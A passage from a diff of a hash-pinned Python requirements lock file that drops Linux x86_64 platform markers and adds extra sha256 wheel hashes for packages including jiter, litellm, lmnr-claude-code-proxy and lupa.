--hash=sha256:350932eaa5cc6a4747efae85126ee220e4ef1b54e29d31c3b45c5612ddf0b32a -idna==3.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +idna==3.15 \ --hash=sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8 \ --hash=sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc -importlib-metadata==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +importlib-metadata==8.5.0 \ --hash=sha256:45e54197d28b7a7f1559e60b95e7c567032b602131fbd588f1497f47880aa68b \ --hash=sha256:71522656f0abace1d072b9e5481a48f07c138e00f079c38c8f883823f9c26bd7 -inquirerpy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +inquirerpy==0.3.4 \ --hash=sha256:89d2ada0111f337483cb41ae31073108b2ec1e618a49d7110b0d7ade89fc197e \ --hash=sha256:c65fdfbac1fa00e3ee4fb10679f4d3ed7a012abf4833910e63c295827fe2a7d4 -jaraco-classes==3.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jaraco-classes==3.4.0 \ --hash=sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd \ --hash=sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790 -jaraco-context==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jaraco-context==6.1.0 \ --hash=sha256:129a341b0a85a7db7879e22acd66902fda67882db771754574338898b2d5d86f \ --hash=sha256:a43b5ed85815223d0d3cfdb6d7ca0d2bc8946f28f30b6f3216bda070f68badda -jaraco-functools==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jaraco-functools==4.4.0 \ --hash=sha256:9eec1e36f45c818d9bf307c8948eb03b2b56cd44087b3cdc989abca1f20b9176 \ --hash=sha256:da21933b0417b89515562656547a77b4931f98176eb173644c0d35032a33d6bb -jeepney==0.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jeepney==0.9.0 \ --hash=sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683 \ --hash=sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732 -jinja2==3.1.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jinja2==3.1.6 \ --hash=sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d \ --hash=sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67 -jiter==0.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jiter==0.11.0 \ + --hash=sha256:07630bb46ea2a6b9c6ed986c6e17e35b26148cce2c535454b26ee3f0e8dcaba1 \ + --hash=sha256:089f9df9f69532d1339e83142438668f52c97cd22ee2d1195551c2b1a9e6cf33 \ + --hash=sha256:09858f8d230f031c7b8e557429102bf050eea29c77ad9c34c8fe253c5329acb7 \ --hash=sha256:11840d2324c9ab5162fc1abba23bc922124fedcff0d7b7f85fffa291e2f69206 \ + --hash=sha256:11df2bf99fb4754abddd7f5d940a48e51f9d11624d6313ca4314145fcad347f0 \ + --hash=sha256:144fc21337d21b1d048f7f44bf70881e1586401d405ed3a98c95a114a9994982 \ + --hash=sha256:1d4a6c4a737d486f77f842aeb22807edecb4a9417e6700c7b981e16d34ba7c72 \ --hash=sha256:1d9637eaf8c1d6a63d6562f2a6e5ab3af946c66037eb1b894e8fad75422266e4 \ + --hash=sha256:1dc6a123f3471c4730db7ca8ba75f1bb3dcb6faeb8d46dd781083e7dee88b32d \ + --hash=sha256:25a5b1110cca7329fd0daf5060faa1234be5c11e988948e4f1a1923b6a457fe1 \ + --hash=sha256:25c625b9b61b5a8725267fdf867ef2e51b429687f6a4eef211f4612e95607179 \ --hash=sha256:29ed1fe69a8c69bf0f2a962d8d706c7b89b50f1332cd6b9fbda014f60bd03a03 \ + --hash=sha256:29fff31190ab3a26de026da2f187814f4b9c6695361e20a9ac2123e4d4378a4c \ + --hash=sha256:2fb7b377688cc3850bbe5c192a6bd493562a0bc50cbc8b047316428fbae00ada \ + --hash=sha256:3893ce831e1c0094a83eeaf56c635a167d6fa8cc14393cc14298fd6fdc2a2449 \ + --hash=sha256:4441a91b80a80249f9a6452c14b2c24708f139f64de959943dfeaa6cb915e8eb \ + --hash=sha256:452d13e4fd59698408087235259cebe67d9d49173b4dacb3e8d35ce4acf385d6 \ + --hash=sha256:452d80a1c86c095a242007bd9fc5d21b8a8442307193378f891cb8727e469648 \ + --hash=sha256:494ba627c7f550ad3dabb21862864b8f2216098dc18ff62f37b37796f2f7c325 \ + --hash=sha256:4ad8bd82165961867a10f52010590ce0b7a8c53da5ddd8bbb62fef68c181b921 \ --hash=sha256:4ee5821e3d66606b29ae5b497230b304f1376f38137d69e35f8d2bd5f310ff73 \ + --hash=sha256:4f01a744d24a5f2bb4a11657a1b27b61dc038ae2e674621a74020406e08f749b \ + --hash=sha256:53933a38ef7b551dd9c7f1064f9d7bb235bb3168d0fa5f14f0798d1b7ea0d9c5 \ + --hash=sha256:5661469a7b2be25ade3a4bb6c21ffd1e142e13351a0759f264dfdd3ad99af1ab \ + --hash=sha256:572208127034725e79c28437b82414028c3562335f2b4f451d98136d0fc5f9cd \ + --hash=sha256:5a7092b699646a1ddc03a7b112622d9c066172627c7382659befb0d2996f1659 \ + --hash=sha256:5beb56d22b63647bafd0b74979216fdee80c580c0c63410be8c11053860ffd09 \ + --hash=sha256:63782a1350917a27817030716566ed3d5b3c731500fd42d483cbd7094e2c5b25 \ --hash=sha256:6e2bbf24f16ba5ad4441a9845e40e4ea0cb9eed00e76ba94050664ef53ef4406 \ + --hash=sha256:719891c2fb7628a41adff4f2f54c19380a27e6fdfdb743c24680ef1a54c67bd0 \ + --hash=sha256:76c15ef0d3d02f8b389066fa4c410a0b89e9cc6468a1f0674c5925d2f3c3e890 \ + --hash=sha256:7764f27d28cd4a9cbc61704dfcd80c903ce3aad106a37902d3270cd6673d17f4 \ + --hash=sha256:7b13a431dba4b059e9e43019d3022346d009baf5066c24dcdea321a303cde9f0 \ + --hash=sha256:8e36924dad32c48d3c5e188d169e71dc6e84d6cb8dedefea089de5739d1d2f80 \ + --hash=sha256:8fe6530aa738a4f7d4e4702aa8f9581425d04036a5f9e25af65ebe1f708f23be \ + --hash=sha256:902b43386c04739229076bd1c4c69de5d115553d982ab442a8ae82947c72ede7 \ + --hash=sha256:97025d09ef549795d8dc720a824312cee3253c890ac73c621721ddfc75066789 \ + --hash=sha256:9a6dff27eca70930bdbe4cbb7c1a4ba8526e13b63dc808c0670083d2d51a4a72 \ + --hash=sha256:a1b7cbe3f25bd0d8abb468ba4302a5d45617ee61b2a7a638f63fee1dc086be99 \ + --hash=sha256:a4d71d7ea6ea8786291423fe209acf6f8d398a0759d03e7f24094acb8ab686ba \ + --hash=sha256:a624d87719e1b5d09c15286eaee7e1532a40c692a096ea7ca791121365f548c1 \ + --hash=sha256:a9d0146d8d9b3995821bb586fc8256636258947c2f39da5bab709f3a28fb1a0b \ + --hash=sha256:adcab442f4a099a358a7f562eaa54ed6456fb866e922c6545a717be51dbed7d7 \ + --hash=sha256:af62e84ca3889604ebb645df3b0a3f3bcf6b92babbff642bd214616f57abb93a \ + --hash=sha256:b0f32e644d241293b892b1a6dd8f0b9cc029bfd94c97376b2681c36548aabab7 \ + --hash=sha256:b1ae2a7593a62132c7d4c2abbee80bbbb94fdc6d157e2c6cc966250c564ef774 \ + --hash=sha256:b42c2cd74273455ce439fd9528db0c6e84b5623cb74572305bdd9f2f2961d3df \ + --hash=sha256:b7b0178417b0dcfc5f259edbc6db2b1f5896093ed9035ee7bab0f2be8854726d \ + --hash=sha256:b8da18a99f58bca3ecc2d2bba99cac000a924e115b6c4f0a2b98f752b6fbf39a \ --hash=sha256:bb948402821bc76d1f6ef0f9e19b816f9b09f8577844ba7140f0b6afe994bc64 \ + --hash=sha256:bf11807e802a214daf6c485037778843fadd3e2ec29377ae17e0706ec1a25758 \ + --hash=sha256:c0a7f0ec81d5b7588c5cade1eb1925b91436ae6726dc2df2348524aeabad5de6 \ + --hash=sha256:c2d13ba7567ca8799f17c76ed56b1d49be30df996eb7fa33e46b62800562a5e2 \ + --hash=sha256:c59459beca2fbc9718b6f1acb7bfb59ebc3eb4294fa4d40e9cb679dafdcc6c60 \ + --hash=sha256:c5e86126d64706fd28dfc46f910d496923c6f95b395138c02d0e252947f452bd \ + --hash=sha256:c6f3b32bb723246e6b351aecace52aba78adb8eeb4b2391630322dc30ff6c773 \ --hash=sha256:c9967c2ab338ee2b2c0102fd379ec2693c496abf71ffd47e4d791d1f593b68e2 \ + --hash=sha256:cb5d9db02979c3f49071fce51a48f4b4e4cf574175fb2b11c7a535fa4867b222 \ + --hash=sha256:cdef53eda7d18e799625023e1e250dbc18fbc275153039b873ec74d7e8883e09 \ --hash=sha256:cf408d2a0abd919b60de8c2e7bc5eeab72d4dafd18784152acc7c9adc3291591 \ - --hash=sha256:dbb57da40631c267861dd0090461222060960012d70fd6e4c799b0f62d0ba166 -joserfc==1.7.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:d067655a7cf0831eb8ec3e39cbd752995e9b69a2206df3535b3a067fac23b032 \ + --hash=sha256:d50880a6da65d8c23a2cf53c412847d9757e74cc9a3b95c5704a1d1a24667347 \ + --hash=sha256:dbb57da40631c267861dd0090461222060960012d70fd6e4c799b0f62d0ba166 \ + --hash=sha256:dbe2196c4a0ce760925a74ab4456bf644748ab0979762139626ad138f6dac72d \ + --hash=sha256:dd4ca85fb6a62cf72e1c7f5e34ddef1b660ce4ed0886ec94a1ef9777d35eaa1f \ + --hash=sha256:df64edcfc5dd5279a791eea52aa113d432c933119a025b0b5739f90d2e4e75f1 \ + --hash=sha256:df7f1927cbdf34cb91262a5418ca06920fd42f1cf733936d863aeb29b45a14ef \ + --hash=sha256:e35d66681c133a03d7e974e7eedae89720fe8ca3bd09f01a4909b86a8adf31f5 \ + --hash=sha256:e4ffd3b0fff3fabbb02cc09910c08144db6bb5697a98d227a074401e01ee63dd \ + --hash=sha256:e71ae6d969d0c9bab336c5e9e2fabad31e74d823f19e3604eaf96d9a97f463df \ + --hash=sha256:e7d0bed3b187af8b47a981d9742ddfc1d9b252a7235471ad6078e7e4e5fe75c2 \ + --hash=sha256:e84e58198d4894668eec2da660ffff60e0f3e60afa790ecc50cb12b0e02ca1d4 \ + --hash=sha256:f0062dab98172dd0599fcdbf90214d0dcde070b1ff38a00cc1b90e111f071982 \ + --hash=sha256:f05d03775a11aaf132c447436983169958439f1219069abf24662a672851f94e \ + --hash=sha256:f637b8e818f6d75540f350a6011ce21252573c0998ea1b4365ee54b7672c23c5 \ + --hash=sha256:f6fe0283e903ebc55f1a6cc569b8c1f3bf4abd026fed85e3ff8598a9e6f982f0 \ + --hash=sha256:fb4790497369d134a07fc763cc88888c46f734abdd66f9fdf7865038bf3a8f40 \ + --hash=sha256:ff85fc6d2a431251ad82dbd1ea953affb5a60376b62e7d6809c5cd058bb39471 +joserfc==1.7.5 \ --hash=sha256:add2c2c84e8373b084d526a8b53daba5d7a513a118cd2dcd9fc9f979d0922159 \ --hash=sha256:d5ff536e658e17664f8c1b1ab60dc4aa62aa973fcef1edd33cc44bda45d6f5ea -json-repair==0.60.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +json-repair==0.60.1 \ --hash=sha256:841661cdd2df507c9a4e189097f38ca6bc372e06d4b4e36d72e590f68176c290 \ --hash=sha256:ba6ff974f2a8bef2f7768144a7f03f870a816443f03da27a49cdd0ec31a78049 -jsonref==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jsonref==1.1.0 \ --hash=sha256:32fe8e1d85af0fdefbebce950af85590b22b60f9e95443176adbde4e1ecea552 \ --hash=sha256:590dc7773df6c21cbf948b5dac07a72a251db28b0238ceecce0a2abfa8ec30a9 -jsonschema==4.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jsonschema==4.23.0 \ --hash=sha256:d71497fef26351a33265337fa77ffeb82423f3ea21283cd9467bb03999266bc4 \ --hash=sha256:fbadb6f8b144a8f8cf9f0b89ba94501d143e50411a1278633f56a7acf7fd5566 -jsonschema-path==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jsonschema-path==0.3.4 \ --hash=sha256:8365356039f16cc65fddffafda5f58766e34bebab7d6d105616ab52bc4297001 \ --hash=sha256:f502191fdc2b22050f9a81c9237be9d27145b9001c55842bece5e94e382e52f8 -jsonschema-specifications==2025.9.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +jsonschema-specifications==2025.9.1 \ --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe \ --hash=sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d -keyring==25.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +keyring==25.7.0 \ --hash=sha256:be4a0b195f149690c166e850609a477c532ddbfbaed96a404d4e43f8d5e2689f \ --hash=sha256:fe01bd85eb3f8fb3dd0405defdeac9a5b4f6f0439edbb3149577f244a2e8245b -libtmux==0.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +libtmux==0.53.0 \ --hash=sha256:024b7ae6a12aae55358e8feb914c8632b3ab9bd61c0987c53559643c6a58ee4f \ --hash=sha256:1d19af4cea0c19543954d7e7317c7025c0739b029cccbe3b843212fae238f1bd -litellm==1.93.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +litellm==1.93.2 \ + --hash=sha256:0a7f3e5138e307e429bd8fa29cc0c48bb1e2b827792e8f7799ca4c8cff736103 \ + --hash=sha256:1bd0690efc94357e559de97927fd98437555cd5b5dd832544cfcca87297ccb80 \ + --hash=sha256:1c84f7c4acb4e926a79b93145ab23231b300fc687bde7172ef884fc52d6011e0 \ + --hash=sha256:1e5618ef495b2e02299b376ca84ffb2647837aafee478cf3a1be17d47a8f0f73 \ + --hash=sha256:204cb0763fff9285bc87eb2dc0fc59b591999e5d94863d0964f806424d3c0cd6 \ + --hash=sha256:248ac86bbb03be2a94690e8f31c3de4adf2367f351d1fd1ae43903237cfa365d \ + --hash=sha256:294ad19f356f821ce97a5428d09439be5f38d22b218c73008d8a49e3e42eb145 \ + --hash=sha256:2cf122399f84f8f04621ed6ef8f276dd6d61f4fab108932ce0e30368de34dd42 \ + --hash=sha256:3126c84361606b9fb07fde7d57eccd8a1747304d64c4143e2e5e40ae6e7693fb \ + --hash=sha256:3bf532c164ad7cb1b76f2c62afefdcc656b9b296374d075a4150e2ce10bb74c3 \ + --hash=sha256:498f9878ea773305e0638b6159d7e1ef27bb0b9a4292538d6634312d18a4e781 \ + --hash=sha256:526b7afc037f79dfdd5c607f5085ac597c7fd301a6dedabea40baae899b27f19 \ + --hash=sha256:67e152a87185b47698f4c240290352cbdd18fdcd4285dc8f76f2f79d8186ca9c \ --hash=sha256:6f6a5e3907f0a1c9d8ff8d71a6cbac8a592e47a40da3f97167074947b5ba7d11 \ --hash=sha256:712c9387419d7b06a10df59973f5e530592d61b2314102b0fa3142f3743f9a9e \ + --hash=sha256:78fc2df99e32d9762eee6755a11ad98d405a9f8154994afd841b256d2a7086e4 \ + --hash=sha256:845ececc628737909b1422d1af18bd19ae453727a66244aa9da3ca37a3773111 \ + --hash=sha256:8541f1b7fd5c437ad249ad68d0a11f68e5e2866b0649da5fa7d63b595e9b8b22 \ + --hash=sha256:8a99ac7c0c1b78acd6bfd1959e9f203dca71fdbceb5f0c8691c2ad8eee450d7d \ + --hash=sha256:8eaaf780fab9a19234735ef94225172179d15bc28b67ddbec125194249a504b7 \ + --hash=sha256:a783b8b18ed68cb6a3b79d2b00273ec21aef92442e9b2712a50036cb84bfe583 \ + --hash=sha256:a81ceff44c58ef504ab8bd787d03b82618765b9cfd530942386ae6d23c58be94 \ --hash=sha256:ae75a61c9abc827aa3131b7e640c952367a450830bb7c531b426b4ec2bb45f85 \ + --hash=sha256:c2da463d70c9fffbea9532fd000e035328f5266b399a2fb4c6c76b3470478337 \ + --hash=sha256:c54a09ab20f94120a9d60a30d9970439dcefa00d2565d190505ff006a80c7a69 \ --hash=sha256:c5d5223ef07f36e0886397fb45cc9db4150f86a0c6f6835cee1d5524cab69dfd \ --hash=sha256:cacf35cf703b12c54516fc6464a3e08c6dbb1dcfb97239e1f629294fe36a1cba \ + --hash=sha256:cc0d58ccabd22ef7ef44a9e6f7247deb54ae42f5e126e6f00360c2b28b41bc2b \ + --hash=sha256:d230bbb7818ebad79da838f1b343c36666cb800e0aa80ca95c9ef4c8494278e4 \ + --hash=sha256:d2edfa14b99bce706b35981703692e3ee631f9b87bf6dc28fb53b574f6480b20 \ --hash=sha256:d8684629be3f7b5f8e2b6e5fe5ea27ff957c63a8d525d81c1460d8436e2e1857 \ - --hash=sha256:dee1b02b7f52a5a408bf7c8d499f0834e49194651743758a511dcdd926c0b692 -lmnr==0.7.60 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:dee1b02b7f52a5a408bf7c8d499f0834e49194651743758a511dcdd926c0b692 \ + --hash=sha256:f34309706eb90960d67b05872a3b8314563b81b193b909eaab9d133b82a203fb \ + --hash=sha256:f4071bef03e4c2942cd2ddc752727345b85447d6a7fee1ff5a4f8b92187966b0 \ + --hash=sha256:f556aa24817052689989e254863bfc50b48e5500999005fce92e6c2d16548f87 \ + --hash=sha256:f8740072e67ca25d4cb2c59e2d1fc49f1d064952c05db175c84eb1e496e9cb85 +lmnr==0.7.60 \ --hash=sha256:35076b302a8f4349824deb08f79d1c7e4c2486b5a14704c0e6efee9879942096 \ --hash=sha256:efec73de28eb8b66bcda6aaab7db0bda8247a26f982e63295a754412bee607f0 -lmnr-claude-code-proxy==0.1.23 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +lmnr-claude-code-proxy==0.1.23 \ + --hash=sha256:0147eecb2704a39eceaf01a23768be1de49c3f2f909d5ad5e5ad5a1c8a4b8d94 \ + --hash=sha256:0c5274ed1c40f5a2d2b7a6bfe6dc6f6d11d59df068b6054630df022d841d2624 \ + --hash=sha256:0ca8b8badb3bf137fc58cf3e98542869d983691b91d431508c1f92d8c7b1267c \ + --hash=sha256:0ec17fcfb579d36086016897fbdf9e0a1a85cf0f53ac7520cc783b1b25ded4a2 \ --hash=sha256:0fd8e1bfeef82802c8a74533a6d27e7c7912c7db68358ca67976f1635311503f \ + --hash=sha256:11411e4d46b243cef6f5600c72b6fdb0c2f1fd071a6089675f59e74daeb6aa61 \ + --hash=sha256:1304486204ddc39a3f5639153df6ae4ee53152ea83063b0ce3331360f05ee026 \ + --hash=sha256:145c2e2c86c9257170669d85c243cb954a501f4a52206475094ab39d2805cd75 \ + --hash=sha256:14ff23a1fe48b548fe2ff7e8da8237938be23058de31163b59b0ce264f2e2ab7 \ + --hash=sha256:15e67cac22abca8931f2f8dda9fdfee61368b765d35fb57d61944a664e801ed3 \ + --hash=sha256:1784002f3872b08ff8b54599b66bf03c4e7590628d0448cf05fbd62ccbcf9f74 \ + --hash=sha256:18147e58da5c3cd2901adfbbdf0851c5aef4a0feb0fed66732f4f0ef64549531 \ + --hash=sha256:1b04bca678761d37e60508494b8c04c3368bf23bd6569a4d215e93ca5daac89a \ + --hash=sha256:207f6d423467909a130308d2c33eba05b25232e6934c9c23b928b24037d51f3b \ + --hash=sha256:21fdef811f3f06fc507ffd795bca64a21b525faa7f3f6e2f33856910d0f96192 \ + --hash=sha256:26b71b4f076de9ce0e6aa32e62ca6c7b88e486b0c857a90e2a97371acaaee651 \ + --hash=sha256:29e19c7fb7d14e6df820a6c2e4a8ee62f13974fc23d966086a75f1d3d90bc68a \ + --hash=sha256:2d6c4bf49bd060146577022d2f45a9921ce5604289d7f52db357fd3d5aeac838 \ + --hash=sha256:362a7f216c6deaed257966d0ea1e65a00a8eff744b9b3e928076a74671caf5e4 \ + --hash=sha256:3e2f8574de9a42d00aff458e26209f822e2cbba0f2fdb2419129f43e913cf50f \ + --hash=sha256:3e9b4491021a0438da3b4fc7889a6c0ab9311cef8dd5e08a55fb76cf7a788a16 \ + --hash=sha256:4083bb4e785a65efe555a17a5084717f00c9090a43c525e9de81413238081d94 \ --hash=sha256:44b270a4c40daf3b11a5d96694357c4ff99842e82c514281b2910eae4a5d653a \ + --hash=sha256:453b68f8797fc80d51ec3c361b978d8f0b76b69351e7e1c1edb83e849baa5e78 \ + --hash=sha256:48479d6205854919139c748cac2407a39061eca363ce00a2664e05623933cada \ + --hash=sha256:4a42afb4bc589f0d1d6947b88d8a33e3c44029620212d143320875a3d997331a \ + --hash=sha256:4fdc8e561222dda30eb68026f8d149e3b908b79a4c8bd1042d28b1b22b1eeafc \ + --hash=sha256:50a9659f4e06cdf783740cef04811e09017e091993da2d26aafef6e0cc1526a9 \ + --hash=sha256:53c6d47ad2bea70dda75a642a3d8fa7b4fbb68c718958d37a5f994ff6f98d210 \ + --hash=sha256:5853e6fa123af8611c53b3fcac86231a6944d0861fe7808cdc2281c8168d66bd \ + --hash=sha256:59ff635d101028a7ffa8c067e78e512d8bd5d7d3700fefdda505852572963fb6 \ + --hash=sha256:5b59f21e7baa11212e61a300736fca7c2a724950811f1301e605c7d08c886fd5 \ --hash=sha256:5bb8df798ad59b5ba096a7ce1c9a1a08fab5fcb9a6701b3e304bac6a060f109c \ + --hash=sha256:5e67485c946f716e6f4c7522c67ecb0a7925f3ed15a0d40bafd4632409c1acc6 \ + --hash=sha256:5f90acf340a618cfa445bcff29b0c942f231368fcaaca590755ca47960437373 \ + --hash=sha256:6230105ae1c3d949468322b578a46e6988db6568b8c2aec16d1d7f8e0e1f53de \ + --hash=sha256:6704d8e779950f643c901d1c298428ed06eb331f6e86dd95758fd89ebb17f9cb \ --hash=sha256:68fdb6a26d30977b5d4e7ce4a117b2a427a16b1cc0d075f4cecd1839da12975a \ + --hash=sha256:6bfb54627cf1a400e18e4c51a7bcb312da1bac701ef56059c82f094d5edf75c7 \ + --hash=sha256:6d0d891c9788976bf632ffa16071db309eaaf0bf86640d0f7e44b6dcd1862859 \ + --hash=sha256:6d7fe54463ff075d557dc1941d7d271bc79e2663e2a90ab1ff45594804b6958c \ --hash=sha256:6d8fa044c2f5774a6b70de9025a91c13c74361d4349ae528b4b4fcca48219a13 \ + --hash=sha256:70a55b0444d72683dcb0e8aa916396adc1ee6bf8a570201838014bca68ad0f47 \ + --hash=sha256:7164c71707717a6e242ef5fe0ddeb33095a69e8566a80bb979f4d81037e4dcf2 \ + --hash=sha256:7192a72122633ce7d92e2ae4d3df53854c2aa3dddccf4f8c5155d0dfe3e574ab \ --hash=sha256:724ac0371eef99c034762521e580a986fc2b012ffc8c650dd8d66f1765d9a102 \ + --hash=sha256:73ee1db2ca4dc65fa6e508e2bd2ed3f5b587556947f06c3959c31dae9fdfedef \ + --hash=sha256:757d76c5b9e0ec6a27709b6f05d92c00337e9b0073bccea55423a3b60bf70863 \ + --hash=sha256:791e9ce9e2b0e47198d0cab2231a7d041d212154411e3d8a9ee102142d3ec0a4 \ + --hash=sha256:7b883a547e444a095f93eebbc42ed0d27e84346d986251097b7cb62fc2a0a492 \ + --hash=sha256:7c372c3678aa21d422644bef5955a68b4b53cafb40a0c0804b09eab418443fb8 \ + --hash=sha256:8646625c70cd2730799e6d3266cf42af86c47101e7eae7254e2c6b482c4db05f \ + --hash=sha256:86e6ddde60929cb93ef147e67e49bc7c8b9c0c1211e2c7ea733f8fb199d57f01 \ + --hash=sha256:879bfcbdbb49b63e59a96bc74f9d965ad9124bb187872dbd62b55f8b66944de1 \ + --hash=sha256:88c39ab3a86fcafcad48297bda0f91bd1b2d0e4d9dbf4ac2a94e7ecace3f6165 \ + --hash=sha256:8b43a95fdf053fc4ebc0723363d9f88aa5060078733f9df6b3e991235c473a96 \ + --hash=sha256:8f6bbe713911d12488eb45caf9975f69a1a4fa4bc6cc03d397efd9f80e4f9d90 \ + --hash=sha256:920823de554bfca598b54e98b504e6b289ce1823bd5bae24a930609b0d985b57 \ --hash=sha256:92233f1c19971678225ac884d26b77cbbe9e90ec0a154752f8feee9ffa3f21c2 \ + --hash=sha256:94b03990cce9b39617bde8d11f31fd729cee358e340fc7b209e0edc23120a870 \ + --hash=sha256:962aafb103e435461a66c3ca0a77bfddb7d2bde5abe56922f418076472eb27cc \ + --hash=sha256:97bd9997af125df8f2a0fb72ac135c0c0fe89ae67f497ac5da51b45ac142f5a4 \ + --hash=sha256:9be0acab96f30922acc9f548f5a21395110f0f9303799140915e1e8ac719e867 \ + --hash=sha256:9cccd9219743a8539ab9711fe01e84eb91d95388b19a3bfaa0d215cc946d7bf2 \ + --hash=sha256:9d45b36dca5031e131c2caa96ece02add03f590749acc8c15a9e43a3c9a072e1 \ --hash=sha256:9e7a58160b8c327e9fddbba828c86bb1084967519a160ae4f64d0ae01d65730b \ + --hash=sha256:a3769f25f3341ae04885f3b8668fd48214b8eb9b72faa97b9d7dbc9095c8a40d \ + --hash=sha256:a3a3ec1b6b015d8fb6fb373cedb55bfc90c1187333456eb9e6a4a8124b23ee1d \ + --hash=sha256:a44d51db3002164ea5795721e3d8d8927f7981a89ffe1ae9359b6b69ebe02836 \ + --hash=sha256:a5ace97624a755d5c79fcbf9d0ab6564ac17a9d1dc361747fcfa299a3a004249 \ + --hash=sha256:a77258d487989bf23ec6807e21cd2c334e9e457e9f854875a0c253cb04260387 \ + --hash=sha256:a7884c8fbbd54541cd23360ae9dc75102cee137e62fb98b4971c1d31fab4a162 \ + --hash=sha256:a99809eea013706b24b260a2f095551d2b82ddd6e0655e0b0ff2a5d468fdfbea \ + --hash=sha256:b4288560b0076ba68d6103065043d5258594eed4d1fe59631a74e20c6cddf9c2 \ + --hash=sha256:b5c64fcdd623ceec9f41cf0cd6761409a1c0add4e85409de294faf0647f5eb86 \ + --hash=sha256:b6799f27a3aa11c6061e90706d5effb0c7565269bb5e7d1629f4af25ad882e41 \ + --hash=sha256:bcd83941a84b89fc2f5dac40b10b7736a5602766f33afcd554545b0bf770fdc2 \ + --hash=sha256:c0befe2c6e747d20bec7620c0f54dcc8bf85f27e73d2682e51e8b448b10a1b6e \ + --hash=sha256:c4557d0395e198f57b26909b59e2f1084c0813c4342b683bee50819d255e8d6c \ + --hash=sha256:c537cd4c5a393596d96ffbc6da5433503fa8c52d11dd290667273a264c13f6f4 \ + --hash=sha256:cbc5d4357a9a0ee1247c0141a7775d0ef6f55a2ac6ea4209853d26769c0eca58 \ + --hash=sha256:cff0ef6dbe34324bada6d538a8dd71bae07184715f6e9ba8408ab85bf251b1ab \ + --hash=sha256:cffbd2436215675119b94de508d20a87c49e0bcf9de7b2dba1974f1af35f0bfc \ + --hash=sha256:d2b41beaf87b99e12943dfd4c28343b9fbf7771582ac68bb8dbb847eeb7b7446 \ + --hash=sha256:d575823c9002c55e67a4e8277ff0477739f84b419e3356a974a3dbedbda90b63 \ + --hash=sha256:d7ac385abe119b21aaf8ab1c1aee7f9dcdd8a03a3a00aad331f3326b6aac075c \ + --hash=sha256:dbb5e3b6e65f4e53b5c1c258cddbb54c4c5926716ff5801a53b503e270151665 \ + --hash=sha256:e140b8e9c0b56e63ef86e8ccda0faf6fa9e171c3d0efa11467afd35853770daf \ + --hash=sha256:e178ed18ce74c41d222d8fd5194b9b049e40c7e368224216282aca8bdc6f5f67 \ + --hash=sha256:e5bf63f3f99f011200a6efcc3312a8a2c72cf4a7457580056654df71ef4cd87b \ + --hash=sha256:e747afab3475d07f0c8941e7d1bbb27d2e88284afef03b7824fc40175adb047c \ + --hash=sha256:e7771d5cb7adae21c46510a38c3ce6802889b98fd04a6cbaddb0acf86d3738a9 \ + --hash=sha256:e8d0b04308093ee6d56579fe09f0f9c49fea4ad4fc7e9c04c9288c42f4dc5044 \ + --hash=sha256:e8ef14e4b592cfd27d057b47a25e9f62e6d900a95ed244c4acb3316b76f6034f \ + --hash=sha256:e9d9d94f552a1ae8e7f871b8af2440653b614ba818054c60080d457a6fefd07a \ + --hash=sha256:eda2f8a19f3cabfba8def0c62c6322eac6d413afde91349f9c046958f96393c5 \ + --hash=sha256:f05a1978c707ba5df0be531dd2cac0da8117c86c6172d84cb4f5180c8123fc49 \ + --hash=sha256:f06ff39da6c5bdedd7daadd4b33337aacc33b51ed57aa6a6a4f035de243ab59e \ + --hash=sha256:f75cb7fb4ea27e96383b951317db4ea39d5be851333e89d950f062bd500a2c04 \ + --hash=sha256:f7b2129981a74e79aaaea16390315ac09ea625d137efefec4ed790019eaaad6d \ + --hash=sha256:f82487d932680337e3335573a8d582cfd02cee5bc95a4e28cb4befa38b658a27 \ --hash=sha256:f8d636068b2b141f210dcadf433f86dc69f810245771f95f647c1a57d2a37dd9 -lupa==2.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +lupa==2.8 \ + --hash=sha256:097e7d0f1719a88020b67c82e05d53d7973c166952393afcecfd8434c7e19a15 \ + --hash=sha256:0b5ebe1a13c45767919c86750b84fe2da9f6288b6f3cea4ce7660bb2abc9d921 \ + --hash=sha256:1628371c6592a6d5650497a9e31fb2bb3a7e9883c1f301d1111265e484045af9 \ + --hash=sha256:1ac2b1ec7504e6148cba1bc35ac36c74d18a0ca6d367ffe7e78a3773c2694c0e \ + --hash=sha256:24b4d8af5558e549b70daf1547f5c1c1d664ecea9fc790f83efe5d75e9a93797 \ + --hash=sha256:250e035fdaffe8c87093e3ebc206ac29a26131b1568ea711d780c26001ce96e7 \ + 